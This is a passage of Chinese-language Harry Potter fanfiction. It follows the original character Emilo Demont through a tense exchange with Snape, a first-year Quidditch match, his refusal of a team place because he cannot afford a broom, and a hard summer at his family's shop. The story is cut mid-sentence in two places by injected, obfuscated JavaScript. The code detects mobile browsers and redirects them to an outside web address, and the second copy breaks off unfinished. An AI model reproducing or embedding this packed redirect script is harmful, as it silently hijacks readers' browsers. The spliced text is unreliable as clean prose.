“埃米洛·德蒙特。”斯内普直接接过了话头,声音低沉而平直,听不出情绪。 “对!你们在火车上见过的!”莉莉试图活跃气氛。 “当然记得——”斯内普的嘴角勾起一个极其细微、近乎嘲讽的弧度,目光落在埃米洛身上,像冰冷的蛇信,“毕竟……能在封闭的车厢里待上六个小时,一动不动,一声不吭,连厕所都不去的人……实在令人印象深刻。我当时还以为霍格沃茨特快什么时候开始提供会翻书的傀儡娃娃服务了。” 空气瞬间凝固了。莉莉脸上的笑容僵住,她难以置信地看向斯内普,又尴尬地转向埃米洛:“德蒙特,抱歉……西弗勒斯他……他不是那个意思,他就是有时候说话比较……” “直率?”埃米洛平静地打断她,合上了面前摊开的《魔法理论》。他没有看莉莉,目光直接迎上斯内普那双深不见底的黑眸,“我们素不相识,我自问没得罪过你。” 一股无形的、冰冷的张力在两人之间弥漫开来。莉莉夹在中间,焦急地想说些什么缓和。 “伊万斯,”埃米洛抬手制止了她,声音依旧平稳,却带着一种不容置疑的疏离,“谢谢你的论文,让我受益匪浅。但我继续留在这里,恐怕就不止是被几句莫名其妙的讽刺打扰这么简单了……”他意有所指地停顿了一下,目光意有所指地扫过自己放在桌角的书本。 “毕竟,”埃米洛站起身,居高临下地与斯内普对视,清晰地捕捉到对方眼中一闪而过的紧张和随即涌上的愠怒,“我胆子小,很怕有人会‘不小心’给我的课本也施点什么有趣的咒语。比如……让它们自己跳进黑湖里洗澡?” 斯内普的脸色瞬间变得铁青,嘴唇抿成一条苍白的细线。 埃米洛不再看他,利落地将自己的书本和羊皮纸收拢,施展了一个缩小咒塞进口袋,又将那盒酥糖轻轻放回莉莉的手边,像是拒绝了什么东西。 他动作流畅地将凳子推回桌下,发出轻微的摩擦声。声音不大,却清晰地回荡在安静的角落。然后,他拿起自己的魔杖——他唯一的新伙伴——转身,头也不回地走向图书馆厚重的大门,将那片骤然降至冰点的空气和两个神色各异的身影,彻底抛在了身后。 3. 一枚银西可 埃米洛走的很痛快,但他还是留下了点小尾巴。 他在准备第二天的课本的时候发现自己的《魔法药剂与药水》不见了,想必是丢在了图书馆。 他的内心涌上一阵烦躁,随便披了一件衣服就出了门。正好撞上了在他们门口踌躇的莉莉伊万斯。 “哦!”她也被突然的开门吓了一跳,不过马上镇定下来,继续露出了一个花朵一样的笑容:“我来还你课本。” “……谢了。”埃米洛接过课本,两个人在门口沉默了一会儿,气氛有些尴尬。 “那我先走了。”最终莉莉摸了摸鼻子,率先离开了。 玛丽扫帚被动手脚的事情,像一颗投入静水的小石子,激起的涟漪最终也荡到了詹姆·波特那里。这个天生正义感过剩又爱出风头的男孩儿,二话不说就带着西里斯堵在了斯莱特林公共休息室门口。 “听着,埃弗里,穆尔塞伯,”詹姆抱着胳膊,下巴抬得老高,声音洪亮得足以让路过的学生都听见,“欺负女生算什么本事?有胆子就光明正大地比一次!魁地奇球场见真章,敢不敢?” 斯莱特林们先是一愣,随即发出不屑的冷哼。埃弗里和穆尔塞伯交换了一个轻蔑的眼神,随即冷笑出声。“波特,你以为你是谁?就凭你们那群泥巴种和蠢狮子?”穆尔塞伯故意拖长了腔调。 “怕了?”西里斯懒洋洋地靠在石墙上,嘴角勾起一抹嘲讽的弧度,“还是说,你们只敢在课堂上搞些见不得人的小动作?” “怕?”埃弗里嗤之以鼻,“就凭你们?行啊,比就比!输了的人,给对方洗一个月的袜子!敢接吗?” “接定了!”詹姆毫不犹豫,眼睛亮得惊人,“准备好你们的鼻子和洗衣盆吧!” 詹姆不知用了什么方法(也许是缠着麦格教授软磨硬泡外加立下了无数保证安全的军令状),竟然真的为一年级新生争取到了半天正式魁地奇球场的独家使用权。消息传开,整个霍格沃茨都轰动了。一年级之间的正式比赛前所未有,更别提还有“洗袜子”这种充满学生恶趣味的赌注。比赛那天,球场看台上人头攒动,各个学院的学生都来了不少,嗡嗡的议论声充满了兴奋和好奇。 比赛开始的时候,埃米洛正蹲在温暖的第三温室里。他穿着沾满泥土的防护手套,小心翼翼地用铲子将一株暴躁的曼德拉草幼苗从旧盆移栽到更大的新盆里。 霍格沃茨为有需要的学生提供勤工俭学的机会,一年级学生做不了太难得工作,像这样整理花圃、照料植物是埃米洛常做的工作之一。 “……对,就这样,轻轻托住它的根茎,别让它受惊……”斯普劳特教授的声音被不远处魁地奇球场骤然爆发的巨大欢呼声盖过了一瞬。那声浪如同实质,穿透了温室的玻璃穹顶。埃米洛的手顿了顿,曼德拉草不满地扭动了一下,发出细微的呜咽。他深吸一口气,压下心头那丝被欢呼勾起的异样,继续专注地完成手上的工作,将新土压实。 “做得很好,德蒙特先生。”斯普劳特教授检查完他的成果,满意地点点头,从口袋里掏出一个亮闪闪的银西可,轻轻放在埃米洛沾着泥点的手心里。“喏,你的报酬。” “……但我还没有做完工作。”埃米洛犹豫的看着手里的银西可。 “快去吧,”她慈祥地笑着,朝魁地奇球场的方向扬了扬下巴,“别错过这么精彩的时刻,年轻人们第一次在正式球场上较量呢。” 埃米洛攥着那枚还带着植物清香的银币,犹豫了一下。最终,他还是洗了手,脱下手套和耳罩,走向了喧闹的球场。他挤进格兰芬多的观众区,视线立刻被球场中央那抹迅疾如风的红色身影攫住了。 詹姆·波特正在大放异彩。 他的飞行速度快得惊人,在斯莱特林五人组成的松散防线中穿梭自如,如同一道红色的闪电。鬼飞球在他手中仿佛有了生命,一次次刁钻地砸向斯莱特林的门柱。比分牌上,格兰芬多的分数遥遥领先。斯莱特林明显开始急躁,试图用身体冲撞和围堵来限制他,却总是被他以更快的速度、更灵巧的变向甩在身后。又一次成功摆脱两名追球手的纠缠后,詹姆在空中一个利落的急停回旋,阳光洒在他汗湿的黑发和年轻飞扬的脸上,他露出了一个极其灿烂、充满自信和快意的笑容,朝着为他欢呼的看台用力挥了挥拳头。 “波特!波特!波特!”格兰芬多的声浪几乎要掀翻屋顶。 然而,意外就在这最热烈的时刻降临。 一颗被斯莱特林击球手(显然是瞄准了詹姆但失了准头)大力抽射的游走球,带着沉闷的呼啸,直冲彼得·佩迪鲁而去!彼得吓得魂飞魄散,发出一声尖锐的惊叫,完全忘记了躲避,反而在极度恐慌中闭着眼,将自己手中的扫帚尾端狠狠地向旁边胡乱一抡! “砰!” 一声令人牙酸的闷响!伴随着的却不是彼得的惨叫,而是莱姆斯·卢平痛苦的闷哼! 那颗游走球被彼得失控的扫帚尾端不偏不倚地改变了方向,像一个失控的铁锤,狠狠砸中了莱姆斯的右侧大腿!莱姆斯身体猛地一歪,扫帚瞬间失控,整个人从半空中栽落下来,重重摔在草坪上,抱着腿蜷缩起来,脸色惨白。 “莱姆斯!”惊呼声四起。霍琦夫人(作为裁判)立刻吹停了比赛,和庞弗雷夫人一起冲了过去。斯莱特林那边响起一阵压抑的、幸灾乐祸的低笑。 庞弗雷夫人迅速检查后,眉头紧锁:“腿部严重挫伤,可能伤到了韧带,需要立刻去医疗翼!不能继续比赛了!” 格兰芬多瞬间少了一员大将,而且是重要的追球手。气氛一下子凝重起来。詹姆焦急地围着莱姆斯,西里斯则用冰冷的目光扫视着斯莱特林那边。 “你们还有人能上场吗?”霍琦夫人严肃地看向格兰芬多剩下的队员——詹姆、西里斯、惊魂未定还在发抖的彼得,以及替补席。 替补席上的学生面面相觑,显然被这突如其来的变故和压力吓住了。 就在这时,一个清脆响亮的女声从观众席前排响起:“他!埃米洛·德蒙特!他可以上!” 是莉莉·伊万斯。她不知何时已经挤到了最前面,毫不犹豫地将站在她旁边、正因这突发状况而有些愣神的埃米洛用力往前一推。 所有人的目光瞬间聚焦在埃米洛身上,包括场上的詹姆和西里斯。西里斯看着埃米洛那张总是没什么表情、此刻显得有些措手不及的脸,眉头微蹙,带着一丝怀疑:“他?莉莉,你确定?这可是好宝宝……” “我当然确定!”莉莉毫不客气地打断西里斯,声音带着不容置疑的笃定,“西里斯·布莱克,你真的一点都不了解你的室友吗?他飞行好得很!快让他上!” 詹姆的目光在莉莉和埃米洛之间飞快地转了一下,他几乎没有犹豫,立刻飞了过来,降落在埃米洛面前。他脸上还带着汗水和刚才激战的痕迹,眼神却异常明亮和坚定。他用力拍了拍埃米洛的肩膀,那力道带着信任和鼓励: “埃米洛!我相信你!走吧!别担心,我会帮你的!” 一切发生得太快了。埃米洛甚至来不及开口拒绝,或者说,当詹姆的手拍在他肩上,在那句“我相信你”传入耳中时,或者早在之前的飞行课上。他内心深处那点被强行压抑的、对飞翔和战斗的渴望,瞬间冲破了所有的顾虑和矜持。他感到自己的心脏在胸腔里有力地跳动起来。 “好。”他听到自己平静的声音响起,然后接过了莱姆斯留下的扫帚,利落地跨了上去。 “格兰芬多换人!德蒙特上场,接替卢平的位置!”霍琦夫人吹响了重新开始的哨音。 斯莱特林那边爆发出一阵更大的嘲笑有些人在小声议论他是哪里跑来的。穆尔塞伯更是毫不客气地大声讥讽:“哈!格兰芬多没人了吗?波特,你是打算让你的好室友用书本砸晕我们吗?” 埃米洛充耳不闻。他操控着扫帚,平稳地升空,悬停在詹姆身边,成为了另一个追球手。詹姆朝他投来一个心照不宣的眼神。 比赛重新开始。斯莱特林首先发起了猛攻,试图趁着格兰芬多刚换人立足未稳扩大战果。鬼飞球在斯莱特林球员间快速传递。 然而,令所有人惊讶的事情发生了。 当鬼飞球再次被传向埃弗里时,埃米洛的身影如同鬼魅般切入了传球路线! 他从哪里出现的!所有人都大吃一惊。 他没有詹姆那种爆炸性的速度,却好像天然的与球场融合在了一起。卡在对方传球的必经之路上,手臂稳稳伸出,将高速飞行的鬼飞球轻松截获。 “什么?!”埃弗里的惊愕脱口而出。 得球后的埃米洛没有丝毫停顿,身体前倾,扫帚瞬间加速,沿着一个精妙的斜线,轻松避开了正面扑来的拦截者。飞行轨迹简洁高效,没有一丝多余的动作。 “拦住他!”穆尔塞伯气急败坏地大吼。 一名斯莱特林击球手挥棒击向游走球,试图攻击埃米洛。但埃米洛仿佛脑后长了眼睛,一个轻巧流畅的S变向,游走球擦着他的袍角呼啸而过,反而干扰了试图包抄的队友。 “詹姆!”埃米洛大声喊到。他甚至没有回头,手腕一抖,鬼飞球如同被施了魔法,划出一道精准的弧线,飞向了詹姆前方一片开阔的空档! 早已心领神会的詹姆如同脱缰的野马,瞬间加速冲刺,稳稳接住来球,在斯莱特林球员绝望的追赶和门柱象征性的阻挡下,以一个极其刁钻的角度,将球狠狠砸入门环! “得分!格兰芬多!”霍琦夫人的声音带着明显的赞许。 “传得漂亮!埃米洛!”詹姆在空中兴奋地大喊,朝着埃米洛用力挥拳。 接下来的比赛,成了詹姆和埃米洛这对临时搭档的表演时刻。埃米洛冷静地梳理着进攻,像球场上的指挥官,总能洞察对方防线的弱点,用最合理、最高效的方式将球送到威胁最大的位置——绝大多数时候,就是送到詹姆手中。而詹姆则化身无情的得分机器,将埃米洛精准的传球一次次转化为进球。他们的配合仿佛演练过千百遍,默契得惊人。西里斯也彻底放下了疑虑,专注于防守和策应,偶尔接到埃米洛精妙的传球也能给予致命一击。 一次精妙的二人配合更是点燃了全场:埃米洛吸引了两名追球手后,突然一个急停回旋,将球从背后隐蔽地传给了斜插上的詹姆,詹姆接球后如入无人之境,轻松破门。整个格兰芬多看台陷入了疯狂。 最终,在詹姆和埃米洛联袂主导的一波又一波攻势下,格兰芬多成功守住了优势,赢得了这场一波三折的比赛!当霍琦夫人吹响终场哨时,格兰芬多的欢呼声几乎要掀翻霍格沃茨的屋顶。 穆尔塞伯和埃弗里的脸色铁青,像是生吞了鼻涕虫。在霍琦夫人严厉目光的注视下,以及全场观众的嘘声中,他们不得不走到格兰芬多队员面前,极其不情愿地、含糊不清地嘟囔了一句道歉。 詹姆双手叉腰,脸上是毫不掩饰的得意和胜利的喜悦,他故意仰起头,用能让整个球场都听清的声音说道:“道歉我们收下了!至于赌注嘛……”他故意拖长了调子,露出一个促狭的笑容,“记得用我家特供的洗护产品和柔顺剂哦!不然洗不干净我们尊贵的袜子,可要重洗的!”他的话引来格兰芬多又一阵哄笑和口哨声。 西里斯用力拍了拍埃米洛的肩膀,有些揶揄的说自己确实该重新认识他了。 埃米洛站在庆祝的人群中,感受着肩膀上西里斯拍打的力道,听着詹姆爽朗的笑声和周围震耳欲聋的欢呼。汗水顺着额角滑落,胸膛因为剧烈的呼吸而起伏,一种前所未有的、炽热的暖流正冲刷着他的四肢百骸。 --- 那场逆转的魁地奇比赛像一颗投入湖面的石子,在埃米洛平静的生活中激起了一圈圈涟漪。最明显的改变,是他和詹姆·波特之间的距离。 詹姆固执地将埃米洛视作扭转乾坤的“关键先生”。他开始频繁地在公共休息室、走廊甚至图书馆(虽然次数不多)找到埃米洛,眼睛闪闪发亮地讨论战术。 “嘿,埃米洛!下午课后有空吗?魁地奇球场!我们得练练那个‘假传真切’的配合,为什么不找西里斯?西里斯说魁地奇不适合他,因为他弟弟喜欢。” “埃米洛!你看这个‘双剪交叉’的战术怎么样?我觉得我们俩的速度完全能玩转!” “埃米洛!……” 埃米洛起初是有点别扭的抗拒的。他习惯了在书本和计划表里寻找安全感。但詹姆的热情像一团无法扑灭的火焰,带着一种不容置疑的感染力。更重要的是,埃米洛自己也无法否认,当扫帚升空,当风掠过耳际,当他需要精确地判断、果断地行动时,那种纯粹的、忘我的自由感,是图书馆里任何一本艰深的魔法书都无法给予的。那份在球场上短暂品尝过的、酣畅淋漓的快乐,像一颗种子,在他心底悄然生根。 “运动对身体有好处。”他给自己找了一个借口。很快,他不再拒绝詹姆。球场上的埃米洛和詹姆,形成了一种奇妙的互补。詹姆是燃烧的太阳,光芒四射,充满爆炸性的力量和天马行空的即兴发挥;埃米洛则是沉静的月亮,冷静观察,用最简洁高效的路径和传球将詹姆的狂野转化为致命的进攻。他们的配合越来越默契,一个眼神,一个微小的扫帚倾斜角度,彼此就能心领神会。西里斯偶尔加入,莱姆斯和彼得则更多地在场边加油,看着两人在天空划出流畅的轨迹。 然而,一旦双脚落地,那短暂的和谐便迅速冷却。练习结束,詹姆会兴高采烈地搂着埃米洛的肩膀(后者总是略显僵硬地避开)讨论晚餐吃什么,或者明天怎么捉弄斯内普。埃米洛则总是沉默地收拾自己的东西,简短地应几声,心思早已飘回了图书馆的书架或者明天的课程表。他对詹姆那些恶作剧的点子仍旧毫无兴趣,因为知道违反校规没人给他兜底;对詹姆那种毫无顾忌的张扬做派,内心也带着一丝不易察觉的疏离。他们能聊的,似乎只有魁地奇。埃米洛心底给这段关系贴上了清晰的标签:球搭子。仅此而已。 一年级的末期,一次变形课后,麦格教授那严厉但锐利的目光扫过正准备离开的两人。“波特先生,德蒙特先生。请留一下。” 两人停下脚步,面面相觑。麦格教授推了推她的方形眼镜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859211|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光在两人身上停留片刻,尤其是在埃米洛身上多看了几秒。 “我注意到你们最近的飞行练习,”麦格教授的声音一如既往的平静,却带着不容置疑的分量,“配合相当出色。格兰芬多魁地奇球队目前正在物色有潜力的新队员,为明年的梯队做准备。弗兰克·隆巴顿是我们的队长,一位非常优秀的找球手兼战术核心。” 詹姆的眼睛瞬间亮得像两颗火热的金色飞贼,呼吸都屏住了。加入格兰芬多魁地奇球队!这是他入学以来梦寐以求的荣耀! 麦格教授继续道:“我认为你们两人,尤其是你们展现出的配合潜力,值得推荐给他看看。波特先生的天赋和冲劲,德蒙特先生你的冷静和战术视野,是球队非常需要的特质。” 詹姆几乎要跳起来,脸上是抑制不住的狂喜:“谢谢您,麦格教授!我们一定不会让您失望!隆巴顿队长!太好了!”他激动地看向埃米洛,期待看到同样的兴奋。 然而,埃米洛脸上的血色却在瞬间褪去,只留下一片略显苍白的平静。他感到一股冰冷的寒意从脚底升起,迅速冻结了刚才因麦格教授认可而升起的一丝暖意。加入球队?这意味着什么?意味着需要一把像样的扫帚!一把真正属于魁地奇球员的、能在正式比赛中飞驰的扫帚!不是他现在这把学校提供的、老旧笨拙的训练扫帚! 母亲疲惫而歉疚的面容清晰地浮现在他眼前。家里的经济状况……支撑他在魔法世界的学费和书本费已是竭尽全力,每一枚纳特都精打细算。一把彗星系列?哪怕是最基础的型号,对家里来说都是天文数字,是绝对无法承受的奢侈。 “但是,”麦格教授的声音打断了詹姆的兴奋,也像重锤敲在埃米洛的心上,“球队有规定,预备队员需要拥有自己的、符合训练和比赛标准的扫帚。学校提供的训练扫帚无法满足正式比赛的要求。这一点,希望你们明白。如果你们有意向,我会安排你们与隆巴顿队长见面。” “明白!完全没问题!”詹姆立刻大声回答,仿佛扫帚是早已准备好的小事一桩。对他波特家来说,这确实不是问题。 埃米洛却感觉喉咙发紧,一个字也说不出来。他只能微微点了点头,算是回应麦格教授。 回格兰芬多塔楼的路上,詹姆彻底陷入了对未来辉煌的畅想。他手舞足蹈,声音洪亮,引得走廊里的画像纷纷侧目。 “……想想看,埃米洛!我们俩搭档追球手!你负责组织调度,像上次那样把球精准地喂给我,我负责突破得分!……梅林的胡子啊!横扫霍格沃茨!称霸魁地奇杯!到时候斯莱特林那群家伙的脸色,一定好看极了!哈哈!……” 詹姆滔滔不绝,描绘着无比绚烂的蓝图。阳光透过高窗洒在他飞扬而支楞着的乱糟糟的黑色短发上,他的笑容充满了对未来的笃定和毫无保留的期待。 埃米洛却沉默地走在他旁边,每一步都像踩在冰冷的石头上。詹姆的每一个字,每一个关于“我们”的设想,都像一根细小的针,刺在他无法言说的窘迫上。不仅因为昂贵的扫帚,成了横亘在他和那个璀璨未来之间一道无法逾越的鸿沟。还因为他看着詹姆神采飞扬的侧脸,突然意识到那是一种被丰沛的物质和毫无保留的爱意滋养出来的自信,是他埃米洛·德蒙特永远无法拥有的东西。 他感到一种沉重的、令人窒息的羞耻。不是因为贫穷本身,而是因为这种贫穷将他隔绝在了詹姆理所当然的世界之外,让他甚至无法分享这份本该属于两个人的喜悦。他只能沉默,任由詹姆的热情像潮水般涌来,又在他冰冷的礁石上无声地撞碎。 詹姆终于察觉到了身边异常的沉默。他停下脚步,疑惑地看向埃米洛:“嘿,你怎么了?高兴傻了?麦格教授推荐我们啊!这可是天大的机会!” 埃米洛停下脚步,目光低垂,盯着自己洗得有些发白的袍角。他深吸一口气,那口气息带着走廊石壁的凉意,直灌入肺腑。他必须斩断这个虚幻的泡沫,在詹姆把他拉到隆巴顿队长面前,让他在众目睽睽下暴露自己的窘迫之前。 “……我不会加入的,詹姆。”他的声音很轻,却像一块石头投入了詹姆兴奋的海洋。 “什么?”詹姆的笑容僵在脸上,以为自己听错了,“你说什么?” “我说,我不会加入魁地奇球队。”埃米洛抬起头,强迫自己看向詹姆那双充满震惊和不解的褐色眼睛,脸上没有任何表情,只有一片刻意维持的冷漠。 “为什么?!”詹姆的声音陡然拔高,充满了难以置信和骤然升起的怒火,“你开什么玩笑?埃米洛!麦格教授亲自推荐!我们配合得那么好!为什么?!你明明那么喜欢飞行!……” “不喜欢了。”埃米洛打断他,语气生硬得像块铁板,“突然觉得没意思了。就这样。” “没意思了?”詹姆重复着这几个字,仿佛听到了世界上最荒谬的笑话。他脸上那种被背叛的愤怒越来越明显。“埃米洛·德蒙特!你看着我!”他上前一步,几乎要抓住埃米洛的肩膀,“你觉得我会信这种鬼话吗?你当我是傻子吗?上次在球场上,你只有在球场上才笑你自己知道吗!?那种快乐是装出来的?你明明就是为了魁地奇而生的!告诉我真正的原因!如果你是担心扫帚,我可以……” 不可以! “没有原因。”埃米洛后退一步,避开了詹姆的手,也避开了他那灼人的目光和咄咄逼人的追问。他感到自己的心脏在胸腔里沉重地跳动,带着一种钝痛。他不能说出那个真实的原因——关于扫帚,关于家里拮据的经济状况。那太赤裸,太狼狈。他宁愿詹姆觉得他反复无常,宁愿他生气,也不愿在他面前袒露这份难堪的脆弱。 “就是不想玩了。觉得浪费时间。马上要期末考试了,所以更想去图书馆看书。”他甚至刻意加重了最后一句,带着一种近乎挑衅的疏离感。 “浪费时间?看书?”詹姆像是第一次认识埃米洛一样,死死地盯着他,眼神里充满了受伤、被欺骗的愤怒,以及一种深深的失望。“好啊……埃米洛·德蒙特,你厉害!”他猛地点头,声音因为强压怒火而有些发抖,“你一句轻飘飘的“不喜欢了”“浪费时间”……你甚至不愿意跟我说句实话?你根本就没把我当回事,对吧?行!算我自作多情!” 詹姆最后深深地、失望地看了埃米洛一眼,那眼神像冰冷的刀子。他猛地转身,红金相间的领带划出一道决绝的弧度,大步流星地朝着相反的方向走去,再也没有回头。 走廊里瞬间安静下来,只剩下画像们窃窃私语的目光。埃米洛站在原地,看着詹姆愤怒离去的背影消失在拐角。那股冰冷、沉重的感觉并没有因为詹姆的离开而消散,反而更加清晰地沉淀下来,压在他的胸口。他成功了,用冷漠和谎言推开了詹姆。 他知道,那短暂而炽热的“球搭子”情谊,以及刚刚萌芽的、或许能称之为友谊的幼苗,在这场关于扫帚的沉默风暴中,彻底冻结了。 冷战无声无息地降临在他们之间。埃米洛只能独自咀嚼着这份苦涩的真相,将那份对飞行的渴望和对友情的微小期待,更深地埋进心底的冰层之下。 4. 两枚银西克 霍格沃茨特快列车的蒸汽渐渐消散在伦敦的烟尘里,埃米洛·德蒙特提着简单的行李,踏上了回家的路。行李中最重要的,是一张几乎全O的成绩单,仅有魔药学是A。这样的成绩,在任何一个普通的巫师家庭都足以引起欢呼。 德蒙特先生看到那张羊皮纸时,那双常浑浊的眼睛,瞬间迸发出前所未有的光彩。他几乎是颤抖着手指,一遍遍抚摸着那些代表“杰出”的“O”字,脸上是压抑不住的狂喜,连带着他那件洗得发白的旧袍子都仿佛挺括了几分。 他立即拉上妻儿去了埃米洛的姑姑家,美曰其名好久没见。气氛却从一开始就有些微妙。 “埃米洛这孩子,总算是没白费那些加隆。”德蒙特先生状似不经意地将那份成绩单摆在了餐桌中央。他拿起叉子,又放下:“看看这小子,还是差一点火候。”他用叉子尖虚虚地点了点魔药学那一栏的“A”,声音刻意放大了些,带着一种混合着骄傲和刻意贬低的复杂情绪,“魔药嘛,精细活儿,看来还得下功夫。” 姑姑目光锐利地扫过那张纸,在看到那排耀眼的“O”时,嘴角几不可察地向下撇了撇。她放下刀叉,拿起餐巾优雅地擦了擦嘴角,声音不高不低,带着一丝刻意拉长的腔调:“哎呀,成绩是不错。不过嘛……”她顿了顿,视线落在埃米洛身上:“埃米洛去年的衣服还是继承我家埃蒙的呢,看来这份成绩也有我家埃蒙的功劳,毕竟你们也知道的嘛,那孩子也是用好成绩去了圣芒戈。对了,你们还需要旧衣服么?我这里留着呢……” 空气瞬间凝滞。父亲脸上那得意的笑容如同被冻住一般僵在脸上,握着酒杯的手指关节微微发白。餐桌上的空气仿佛凝固了几秒钟。就在埃米洛和母亲艾莲娜都感到难堪得快要窒息时,德蒙特先生突然发出几声干巴巴的、试图显得爽朗的笑声。 “哈哈哈!”他夸张地笑了两声,仿佛姑姑刚才说了个天大的笑话,“说得这么客气干嘛!我们家埃米洛穿埃蒙的旧衣服,那是看得起他!男孩子嘛,穿什么都一样!”他用力拍了拍埃米洛的肩膀,力气大得让埃米洛身子一歪,然后转头对着姑姑,脸上的笑容带着一种近乎无耻的坦然:“再说了,有衣服穿就不错了!你嫂子(他朝艾莲娜努努嘴)的手艺也就值这个价了,新衣服?那都是浪费!” 艾莲娜的头垂得几乎要碰到盘子,握着刀叉的手指因用力而剧烈颤抖,指节泛着青白。她嘴唇抿成一条苍白的线,呼吸急促而微弱,仿佛下一秒就要晕厥过去。埃米洛死死盯着盘子里那块煮得过老的肉,仿佛要将它盯穿。 姑姑显然也愣了一下,随即脸上露出一丝混合着鄙夷和了然的笑意,仿佛在说“果然如此”。她没再说话,但那眼神里的优越感几乎化为实质。 埃米洛味同嚼蜡地熬到了晚餐结束。趁着大人们在客厅寒暄的空隙,他走到姑姑身边,将暑假前在霍格沃茨做各种零工积攒下的几个银西可塞进她手里。 姑姑的手指触碰到那微凉的硬币,脸上的冰霜终于融化了一些,挤出一个施舍般的笑容,拍了拍他的肩膀,声音里带着一丝居高临下的赞许:“嗯,懂事的孩子。” 暑假对于埃米洛来说从来不是休息的代名词。对角巷那间二手魔法物品商店里只有无穷无尽的灰尘、清点和操劳。德蒙特先生将儿子优异的成绩当成了某种精神慰藉,更加心安理得地投入到他那日渐沉迷的巫师纸牌聚会中。店铺的事情全丢给了他和艾莲娜。 他不得不提前啃起了《家用魔法精要》,笨拙地挥舞着魔杖,试图让抹布自动飞舞,让水桶自己打水,让灰尘自己归拢。魔咒时灵时不灵,更多的时候,他累得满头大汗,效果还不如亲自动手。天不亮就要起床开铺子,清点货物,擦拭橱窗;深夜打烊后,还要整理账目,清扫地面,常常累得腰酸背痛,倒头就睡。母亲艾莲娜看着他忙碌的身影,眼中时常流露出心疼,但更多的时候,是一种欲言又止的焦虑。 “埃米洛,”母亲会在擦拭柜台时,状似不经意地开口,声音压得很低,带着惯有的那种谨小慎微,仿佛在谈论一件极其羞耻的事情:“你父亲他……最近好像很晚才回来。听说他们那牌局,筹码好像……不小。”她停下动作,眼神飘向门外,带着深深的忧虑,声音又低了几分,几乎成了耳语,“你父亲他最听你的话,你……有空劝劝他?这样下去,家里……” 埃米洛握着鸡毛掸子的手猛地收紧,指节泛白。一股混合着无奈、愤怒和对父亲深深失望的情绪堵在胸口。他看着母亲疲惫而带着恳求、总是低眉顺眼的侧脸,那句“为什么你不劝他?为什么总是让我去面对?为什么你连在姑姑面前都不敢抬头?”几乎要冲口而出。但他看着母亲眼中那几乎要溢出来的泪水,终究什么也没说,只是沉默地点了点头,然后继续用力地掸去一个旧坩埚上的积灰。心里像塞了一块浸了水的破布,又冷又沉,沉得他喘不过气。 七月中旬的某天,预言家日报的头版刊登了巴蒂·克劳奇就任魔法部法律执行司司长的消息,照片上的男人表情严肃,目光锐利。这则新闻在巫师界掀起了波澜,而在对角巷,这波澜来得更快、更直接。 第二天上午,几个穿着笔挺黑色巫师袍、胸口别着魔法部徽章的人,就出现在了“德蒙特杂货铺”门口。为首的官员面无表情地出示了搜查令:“例行检查,打击非法黑魔法物品交易。请配合。”语气公事公办,不容置疑。 小小的店铺瞬间被翻得一片狼藉。货架被挪开,箱子被粗暴地打开,灰尘在阳光下狂舞。艾莲娜紧张地搓着手,脸上堆满了讨好的笑容,小心翼翼地跟在官员后面,声音又细又软,带着明显的颤音:“长官,您小心脚下……这个铜壶是沃尔特先生寄卖的,绝对干净……那个水晶球?哦,就是个摆设,早就裂了,没魔力的……” 一个年轻的傲罗,目光在杂乱的物品中逡巡,最后停留在角落一个蒙尘的旧窥镜上。那窥镜埃米洛认得,是难得的好货,九成新。 “这个……看起来有些可疑。” 艾莲娜连忙凑上前,声音更低了,带着恳求:“哦,那个啊!就是个旧货,老德蒙特收来的,早就坏了,不值钱的……真的,您看,它都不转了……” 她试图证明。 那傲罗却仿佛没听见,径直将窥镜塞进了自己随身的袋子里。“需要带回去检查。”他宣布道。 埃米洛意料的是,母亲不仅没有生气或争辩,反而像是抓住了某种机会。她脸上瞬间换上了更加热情甚至带着一丝谄媚的笑容,腰弯得更低了:“当然当然!您辛苦!应该的!您看还需要检查什么?我们这里还有其他东西,您要不要……” 她甚至想转身去拿货架上的东西,仿佛能用这些小物件贿赂对方。 “不必了。”傲罗冷淡地打断她,挥挥手,带着人离开了,留下满室狼藉和空气中未散的魔法尘埃。 看着母亲在那些人离开后,对着空荡荡的门口还维持着那副讨好的姿态,肩膀微微塌着,埃米洛只觉得一股冰冷的讽刺感从脚底直冲头顶。她转过身,看到儿子沉默地站在一片混乱中,连忙走过来,一把将他拉到身前,脸上还带着刚才未褪尽的紧张和一丝奇异的兴奋,压低声音,带着一种近乎狂热的低语: “看到了吗,埃米洛?”母亲的声音里充满了对权势的敬畏和向往,“魔法部的大官!权力!这才是真正的体面!你要好好学习,像那个巴蒂·克劳奇一样,坐到那个位置上去!我们就不用再……” 她后面的话没有说完,但那眼神里的渴望和卑微的期望,像针一样刺着埃米洛。 学什么?学他们如何仗着“法律执行”的名义,堂而皇之地拿走别人的东西?学母亲这样,用卑微和讨好去换取一点可怜的、虚幻的“庇护”?埃米洛感到胃里一阵翻腾。他什么也没说,只是默默地蹲下身,开始收拾被翻得乱七八糟的货物,用力擦掉地上的灰尘,仿佛想把刚才那令人作呕的一幕也一同擦掉。母亲站在一旁,看着他忙碌,脸上的兴奋渐渐褪去,又恢复了那种小心翼翼的、带着点茫然和无助的神情,最终也默默地开始帮忙整理。 临近开学的日子,空气里多了几分躁动。埃米洛奉父亲之命,去翻倒巷边缘那里进一些便宜的二手货。他费力地推着一辆吱呀作响的木头推车,上面堆满了蒙尘的坩埚、缺角的课本和一些用途不明的旧玩意儿,沿着对角巷的石板路往回走。汗水浸湿了他的额发,黏在皮肤上。 快到自家店铺门口时,他看到了一个熟悉又陌生的身影。西弗勒斯·斯内普,怀里抱着几本显然是刚买的二年级二手课本,正站在柜台前,手里还拿着一摞明显是旧的一年级课本,正在和柜台后的艾莲娜交涉着什么。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 